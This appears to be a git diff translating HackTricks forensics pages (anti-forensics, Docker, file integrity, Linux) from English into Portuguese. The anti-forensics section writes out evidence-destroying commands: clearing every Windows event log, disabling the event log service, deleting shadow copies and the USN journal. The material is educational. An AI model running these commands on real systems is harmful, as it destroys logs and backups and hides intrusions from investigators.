+Um atacante pode estar interessado em **alterar os timestamps dos arquivos** para evitar ser detectado.\
+É possível encontrar os timestamps dentro do MFT nos atributos `$STANDARD_INFORMATION` ** e ** `$FILE_NAME`.
 
-Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB).
+Ambos os atributos têm 4 timestamps: **Modificação**, **acesso**, **criação** e **modificação do registro MFT** (MACE ou MACB).
 
-**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**.
+**Windows explorer** e outras ferramentas mostram as informações de **`$STANDARD_INFORMATION`**.
 
-## TimeStomp - Anti-forensic Tool
+## TimeStomp - Ferramenta Anti-forense
 
-This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**.
+Esta ferramenta **modifica** as informações de timestamp dentro de **`$STANDARD_INFORMATION`** **mas** **não** as informações dentro de **`$FILE_NAME`**. Portanto, é possível **identificar** **atividade** **suspeita**.
 
 ## Usnjrnl
 
-The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes.
+O **USN Journal** (Update Sequence Number Journal) é um recurso do NTFS (sistema de arquivos Windows NT) que rastreia as alterações do volume. A ferramenta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite a análise dessas alterações.
 
 ![](<../../images/image (449).png>)
 
-The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file.
+A imagem anterior é a **saída** mostrada pela **ferramenta**, onde pode-se observar que algumas **alterações foram realizadas** no arquivo.
 
 ## $LogFile
 
-**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes.
+**Todas as alterações de metadados em um sistema de arquivos são registradas** em um processo conhecido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Os metadados registrados são mantidos em um arquivo chamado `**$LogFile**`, localizado no diretório raiz de um sistema de arquivos NTFS. Ferramentas como [LogFileParser](https://github.com/jschicht/LogFileParser) podem ser usadas para analisar este arquivo e identificar alterações.
 
 ![](<../../images/image (450).png>)
 
-Again, in the output of the tool it's possible to see that **some changes were performed**.
+Novamente, na saída da ferramenta é possível ver que **algumas alterações foram realizadas**.
 
-Using the same tool it's possible to identify to **which time the timestamps were modified**:
+Usando a mesma ferramenta, é possível identificar **a que hora os timestamps foram modificados**:
 
 ![](<../../images/image (451).png>)
 
-- CTIME: File's creation time
-- ATIME: File's modification time
-- MTIME: File's MFT registry modification
-- RTIME: File's access time
+- CTIME: Hora de criação do arquivo
+- ATIME: Hora de modificação do arquivo
+- MTIME: Modificação do registro MFT do arquivo
+- RTIME: Hora de acesso do arquivo
 
-## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison
+## Comparação entre `$STANDARD_INFORMATION` e `$FILE_NAME`
 
-Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**.
+Outra maneira de identificar arquivos modificados suspeitos seria comparar o tempo em ambos os atributos em busca de **incompatibilidades**.
 
-## Nanoseconds
+## Nanosegundos
 
-**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**.
+Os timestamps do **NTFS** têm uma **precisão** de **100 nanosegundos**. Portanto, encontrar arquivos com timestamps como 2010-10-10 10:10:**00.000:0000 é muito suspeito**.
 
-## SetMace - Anti-forensic Tool
+## SetMace - Ferramenta Anti-forense
 
-This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information.
+Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FILE_NAME`. No entanto, a partir do Windows Vista, é necessário que um sistema operacional ao vivo modifique essas informações.
 
 # Data Hiding
 
-NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**.
+O NFTS usa um cluster e o tamanho mínimo da informação. Isso significa que se um arquivo ocupa um e meio cluster, a **metade restante nunca será usada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço livre**.
 
-There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added:
+Existem ferramentas como slacker que permitem ocultar dados neste espaço "oculto". No entanto, uma análise do `$logfile` e `$usnjrnl` pode mostrar que alguns dados foram adicionados:
 
 ![](<../../images/image (452).png>)
 
-Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted.
+Então, é possível recuperar o espaço livre usando ferramentas como FTK Imager. Note que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado.
 
 # UsbKill
 
-This is a tool that will **turn off the computer if any change in the USB** ports is detected.\
-A way to discover this would be to inspect the running processes and **review each python script running**.
+Esta é uma ferramenta que **desligará o computador se qualquer alteração nas portas USB** for detectada.\
+Uma maneira de descobrir isso seria inspecionar os processos em execução e **revisar cada script python em execução**.
 
 # Live Linux Distributions
 
-These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion.
+Essas distros são **executadas dentro da memória RAM**. A única maneira de detectá-las é **caso o sistema de arquivos NTFS esteja montado com permissões de gravação**. Se estiver montado apenas com permissões de leitura, não será possível detectar a intrusão.
 
 # Secure Deletion
 
@@ -79,81 +75,77 @@ These distros are **executed inside the RAM** memory. The only way to detect the
 
 # Windows Configuration
 
-It's possible to disable several windows logging methods to make the forensics investigation much harder.
+É possível desativar vários métodos de registro do Windows para dificultar muito a investigação forense.
 
-## Disable Timestamps - UserAssist
+## Desativar Timestamps - UserAssist
 
-This is a registry key that maintains dates and hours when each executable was run by the user.
+Esta é uma chave de registro que mantém datas e horas quando cada executável foi executado pelo usuário.
 
-Disabling UserAssist requires two steps:
+Desativar o UserAssist requer duas etapas:
 
-1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled.
-2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
+1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero a fim de sinalizar que queremos desativar o UserAssist.
+2. Limpe suas subárvores de registro que se parecem com `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
 
-## Disable Timestamps - Prefetch
+## Desativar Timestamps - Prefetch
 
-This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices.
+Isso salvará informações sobre os aplicativos executados com o objetivo de melhorar o desempenho do sistema Windows. No entanto, isso também pode ser útil para práticas forenses.
 
 - Execute `regedit`
-- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
-- Right-click on both `EnablePrefetcher` and `EnableSuperfetch`
-- Select Modify on each of these to change the value from 1 (or 3) to 0
-- Restart
+- Selecione o caminho do arquivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+- Clique com o botão direito em `EnablePrefetcher` e `EnableSuperfetch`
+- Selecione Modificar em cada um deles para alterar o valor de 1 (ou 3) para 0
+- Reinicie
 
-## Disable Timestamps - Last Access Time
+## Desativar Timestamps - Last Access Time
 
-Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance.
+Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows NT, o sistema leva o tempo para **atualizar um campo de timestamp em cada pasta listada**, chamado de hora de último acesso. Em um volume NTFS muito utilizado, isso pode afetar o desempenho.
 
-1. Open the Registry Editor (Regedit.exe).
-2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
-3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process.
-4. Close the Registry Editor, and reboot the server.
+1. Abra o Editor do Registro (Regedit.exe).
+2. Navegue até `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
+3. Procure por `NtfsDisableLastAccessUpdate`. Se não existir, adicione este DWORD e defina seu valor como 1, o que desativará o processo.
+4. Feche o Editor do Registro e reinicie o servidor.
 
-## Delete USB History
+## Deletar Histórico USB
 
-All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\
-You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them).
+Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR** que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deletando isso**, você excluirá o histórico USB.\
+Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para ter certeza de que as deletou (e para deletá-las).
 
-Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted.
+Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este também deve ser deletado.
 
-## Disable Shadow Copies
+## Desativar Cópias de Sombra
 
-**List** shadow copies with `vssadmin list shadowstorage`\
-**Delete** them running `vssadmin delete shadow`
+**Liste** as cópias de sombra com `vssadmin list shadowstorage`\
+**Deletar** executando `vssadmin delete shadow`
 
-You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
+Você também pode deletá-las via GUI seguindo os passos propostos em [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
 
-To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
+Para desativar cópias de sombra [passos daqui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
 
-1. Open the Services program by typing "services" into the text search box after clicking the Windows start button.
-2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking.
-3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK.
+1. Abra o programa Serviços digitando "services" na caixa de pesquisa de texto após clicar no botão iniciar do Windows.
+2. Na lista, encontre "Volume Shadow Copy", selecione-o e acesse Propriedades clicando com o botão direito.
+3. Escolha Desativado no menu suspenso "Tipo de Inicialização" e confirme a alteração clicando em Aplicar e OK.
 
-It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
+Também é possível modificar a configuração de quais arquivos serão copiados na cópia de sombra no registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
 
-## Overwrite deleted files
+## Sobrescrever arquivos deletados
 
-- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive.
-- You can also use tools like [**Eraser**](https://eraser.heidi.ie)
+- Você pode usar uma **ferramenta do Windows**: `cipher /w:C` Isso indicará ao cipher para remover qualquer dado do espaço de disco não utilizado disponível dentro da unidade C.
+- Você também pode usar ferramentas como [**Eraser**](https://eraser.heidi.ie)
 
-## Delete Windows event logs
+## Deletar logs de eventos do Windows
 
-- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log"
+- Windows + R --> eventvwr.msc --> Expanda "Logs do Windows" --> Clique com o botão direito em cada categoria e selecione "Limpar Log"
 - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
 - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
 
-## Disable Windows event logs
+## Desativar logs de eventos do Windows
 
 - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
-- Inside the services section disable the service "Windows Event Log"
-- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl`
+- Dentro da seção de serviços, desative o serviço "Windows Event Log"
+- `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl`
 
-## Disable $UsnJrnl
+## Desativar $UsnJrnl
 
 - `fsutil usn deletejournal /d c:`
 
-

-
-{% embed url="https://websec.nl/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md
index 629251985..97485e7aa 100644
--- a/src/forensics/basic-forensic-methodology/docker-forensics.md
+++ b/src/forensics/basic-forensic-methodology/docker-forensics.md
@@ -2,24 +2,16 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
-## Container modification
-
-There are suspicions that some docker container was compromised:
+## Modificação de contêiner
 
+Há suspeitas de que algum contêiner docker foi comprometido:
 ```bash
 docker ps
 CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
 cc03e43a052a        lamp-wordpress      "./run.sh"          2 minutes ago       Up 2 minutes        80/tcp              wordpress
 ```
-
-You can easily **find the modifications done to this container with regards to the image** with:
-
+Você pode facilmente **encontrar as modificações feitas a este contêiner em relação à imagem** com:
 ```bash
 docker diff wordpress
 C /var
@@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
 A /var/lib/mysql/mysql/general_log.CSV
 ...
 ```
-
-In the previous command **C** means **Changed** and **A,** **Added**.\
-If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with:
-
+No comando anterior, **C** significa **Alterado** e **A** significa **Adicionado**.\
+Se você descobrir que algum arquivo interessante, como `/etc/shadow`, foi modificado, você pode baixá-lo do contêiner para verificar atividades maliciosas com:
 ```bash
 docker cp wordpress:/etc/shadow.
 ```
-
-You can also **compare it with the original one** running a new container and extracting the file from it:
-
+Você também pode **compará-lo com o original** executando um novo contêiner e extraindo o arquivo dele:
 ```bash
 docker run -d lamp-wordpress
 docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
 diff original_shadow shadow
 ```
-
-If you find that **some suspicious file was added** you can access the container and check it:
-
+Se você descobrir que **um arquivo suspeito foi adicionado**, você pode acessar o contêiner e verificá-lo:
 ```bash
 docker exec -it wordpress bash
 ```
+## Modificações de imagens
 
-## Images modifications
-
-When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**:
-
+Quando você recebe uma imagem docker exportada (provavelmente no formato `.tar`), você pode usar [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) para **extrair um resumo das modificações**:
 ```bash
 docker save  > image.tar #Export the image to a .tar file
 container-diff analyze -t sizelayer image.tar
 container-diff analyze -t history image.tar
 container-diff analyze -t metadata image.tar
 ```
-
-Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history:
-
+Então, você pode **descompactar** a imagem e **acessar os blobs** para procurar arquivos suspeitos que você pode ter encontrado no histórico de alterações:
 ```bash
 tar -xf image.tar
 ```
+### Análise Básica
 
-### Basic Analysis
-
-You can get **basic information** from the image running:
-
+Você pode obter **informações básicas** da imagem executando:
 ```bash
 docker inspect 
 ```
-
-You can also get a summary **history of changes** with:
-
+Você também pode obter um resumo **histórico de alterações** com:
 ```bash
 docker history --no-trunc 
 ```
-
-You can also generate a **dockerfile from an image** with:
-
+Você também pode gerar um **dockerfile a partir de uma imagem** com:
 ```bash
 alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
 dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
 ```
-
 ### Dive
 
-In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
-
+Para encontrar arquivos adicionados/modificados em imagens docker, você também pode usar o [**dive**](https://github.com/wagoodman/dive) (baixe-o a partir de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)):
 ```bash
 #First you need to load the image in your docker repo
 sudo docker load < image.tar                                                                                                                                                                                                         1 ⨯
@@ -105,27 +79,18 @@ Loaded image: flask:latest
 #And then open it with dive:
 sudo dive flask:latest
 ```
+Isso permite que você **navegue pelos diferentes blobs de imagens docker** e verifique quais arquivos foram modificados/adicionados. **Vermelho** significa adicionado e **amarelo** significa modificado. Use **tab** para mover para a outra visualização e **espaço** para colapsar/abrir pastas.
 
-This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders.
-
-With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\
-You can decompress all the layers from an image from the directory where the image was decompressed executing:
-
+Com die você não poderá acessar o conteúdo dos diferentes estágios da imagem. Para fazer isso, você precisará **descomprimir cada camada e acessá-la**.\
+Você pode descomprimir todas as camadas de uma imagem a partir do diretório onde a imagem foi descomprimida executando:
 ```bash
 tar -xf image.tar
 for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
 ```
+## Credenciais da memória
 
-## Credentials from memory
+Note que quando você executa um contêiner docker dentro de um host **você pode ver os processos em execução no contêiner a partir do host** apenas executando `ps -ef`
 
-Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef`
-
-Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory).
-
-

-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
+Portanto (como root) você pode **extrair a memória dos processos** a partir do host e procurar por **credenciais** apenas [**como no seguinte exemplo**](../../linux-hardening/privilege-escalation/#process-memory). 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
index 214b917cf..9a873379a 100644
--- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
+++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
@@ -1,25 +1,25 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-# Baseline
+# Linha de Base
 
-A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**.
+Uma linha de base consiste em tirar uma instantânea de certas partes de um sistema para **compará-la com um status futuro para destacar mudanças**.
 
-For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\
-This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all.
+Por exemplo, você pode calcular e armazenar o hash de cada arquivo do sistema de arquivos para poder descobrir quais arquivos foram modificados.\
+Isso também pode ser feito com as contas de usuário criadas, processos em execução, serviços em execução e qualquer outra coisa que não deveria mudar muito, ou de forma alguma.
 
-## File Integrity Monitoring
+## Monitoramento de Integridade de Arquivos
 
-File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps:
+O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança crítica que protege ambientes de TI e dados ao rastrear mudanças em arquivos. Envolve duas etapas principais:
 
-1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications.
-2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions.
+1. **Comparação de Linha de Base:** Estabelecer uma linha de base usando atributos de arquivo ou somas de verificação criptográficas (como MD5 ou SHA-2) para comparações futuras a fim de detectar modificações.
+2. **Notificação de Mudança em Tempo Real:** Receber alertas instantâneos quando arquivos são acessados ou alterados, tipicamente através de extensões do kernel do SO.
 
-## Tools
+## Ferramentas
 
 - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
 - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
 
-## References
+## Referências
 
 - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
 
diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md
index 8d505942f..d450efc93 100644
--- a/src/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/src/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,28 +1,17 @@
 # Linux Forensics
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
 {{#include ../../banners/hacktricks-training.md}}
 
-## Initial Information Gathering
+## Coleta Inicial de Informações
 
-### Basic Information
-
-First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries:
+### Informações Básicas
 
+Primeiro de tudo, é recomendado ter um **USB** com **binários e bibliotecas bem conhecidos** (você pode apenas pegar o ubuntu e copiar as pastas _/bin_, _/sbin_, _/lib,_ e _/lib64_), então monte o USB e modifique as variáveis de ambiente para usar esses binários:
 ```bash
 export PATH=/mnt/usb/bin:/mnt/usb/sbin
 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
 ```
-
-Once you have configured the system to use good and known binaries you can start **extracting some basic information**:
-
+Uma vez que você tenha configurado o sistema para usar binários bons e conhecidos, você pode começar **a extrair algumas informações básicas**:
 ```bash
 date #Date and time (Clock may be skewed, Might be at a different timezone)
 uname -a #OS info
@@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data?
 cat /etc/shadow #Unexpected data?
 find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
 ```
+#### Informações suspeitas
 
-#### Suspicious information
+Ao obter as informações básicas, você deve verificar coisas estranhas, como:
 
-While obtaining the basic information you should check for weird things like:
+- **Processos root** geralmente são executados com PIDS baixos, então se você encontrar um processo root com um PID grande, pode suspeitar
+- Verifique os **logins registrados** de usuários sem um shell dentro de `/etc/passwd`
+- Verifique os **hashes de senha** dentro de `/etc/shadow` para usuários sem um shell
 
-- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect
-- Check **registered logins** of users without a shell inside `/etc/passwd`
-- Check for **password hashes** inside `/etc/shadow` for users without a shell
+### Dump de Memória
 
-### Memory Dump
-
-To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\
-To **compile** it, you need to use the **same kernel** that the victim machine is using.
+Para obter a memória do sistema em execução, é recomendado usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
+Para **compilá-lo**, você precisa usar o **mesmo kernel** que a máquina vítima está usando.
 
 > [!NOTE]
-> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it
-
-So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\
-In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them:
+> Lembre-se de que você **não pode instalar LiME ou qualquer outra coisa** na máquina vítima, pois isso fará várias alterações nela
 
+Portanto, se você tiver uma versão idêntica do Ubuntu, pode usar `apt-get install lime-forensics-dkms`\
+Em outros casos, você precisa baixar [**LiME**](https://github.com/504ensicsLabs/LiME) do github e compilá-lo com os cabeçalhos de kernel corretos. Para **obter os cabeçalhos de kernel exatos** da máquina vítima, você pode simplesmente **copiar o diretório** `/lib/modules/` para sua máquina e, em seguida, **compilar** LiME usando-os:
 ```bash
 make -C /lib/modules//build M=$PWD
 sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
 ```
+LiME suporta 3 **formatos**:
 
-LiME supports 3 **formats**:
+- Raw (cada segmento concatenado)
+- Padded (mesmo que raw, mas com zeros nos bits à direita)
+- Lime (formato recomendado com metadados)
 
-- Raw (every segment concatenated together)
-- Padded (same as raw, but with zeroes in right bits)
-- Lime (recommended format with metadata
+LiME também pode ser usado para **enviar o dump via rede** em vez de armazená-lo no sistema usando algo como: `path=tcp:4444`
 
-LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444`
+### Imagem de Disco
 
-### Disk Imaging
+#### Desligando
 
-#### Shutting down
+Primeiro de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
+Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "desconectar da tomada"**. O primeiro permitirá que os **processos sejam encerrados normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "desconectar da tomada" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá nenhuma oportunidade** de fazer algo a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e desconecte da tomada.
 
-First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\
-There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug.
-
-#### Taking an image of the disk
-
-It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information.
+#### Tirando uma imagem do disco
 
+É importante notar que **antes de conectar seu computador a qualquer coisa relacionada ao caso**, você precisa ter certeza de que ele será **montado como somente leitura** para evitar modificar qualquer informação.
 ```bash
 #Create a raw copy of the disk
 dd if= of= bs=512
@@ -92,11 +77,9 @@ dd if= of= bs=512
 dcfldd if= of= bs=512 hash= hashwindow= hashlog=
 dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
 ```
+### Pré-análise da Imagem do Disco
 
-### Disk Image pre-analysis
-
-Imaging a disk image with no more data.
-
+Imaginando uma imagem de disco sem mais dados.
 ```bash
 #Find out if it's a disk image using "file" command
 file disk.img
@@ -108,12 +91,12 @@ raw
 #You can list supported types with
 img_stat -i list
 Supported image format types:
-        raw (Single or split raw file (dd))
-        aff (Advanced Forensic Format)
-        afd (AFF Multiple File)
-        afm (AFF with external metadata)
-        afflib (All AFFLIB image formats (including beta ones))
-        ewf (Expert Witness Format (EnCase))
+raw (Single or split raw file (dd))
+aff (Advanced Forensic Format)
+afd (AFF Multiple File)
+afm (AFF with external metadata)
+afflib (All AFFLIB image formats (including beta ones))
+ewf (Expert Witness Format (EnCase))
 
 #Data of the image
 fsstat -i raw -f ext4 disk.img
@@ -149,41 +132,31 @@ r/r 16: secret.txt
 icat -i raw -f ext4 disk.img 16
 ThisisTheMasterSecret
 ```
+## Pesquisa por Malware conhecido
 
-

+### Arquivos de Sistema Modificados
 
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+O Linux oferece ferramentas para garantir a integridade dos componentes do sistema, crucial para identificar arquivos potencialmente problemáticos.
 
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+- **Sistemas baseados em RedHat**: Use `rpm -Va` para uma verificação abrangente.
+- **Sistemas baseados em Debian**: `dpkg --verify` para verificação inicial, seguido de `debsums | grep -v "OK$"` (após instalar `debsums` com `apt-get install debsums`) para identificar quaisquer problemas.
 
-## Search for known Malware
+### Detectores de Malware/Rootkit
 
-### Modified System Files
-
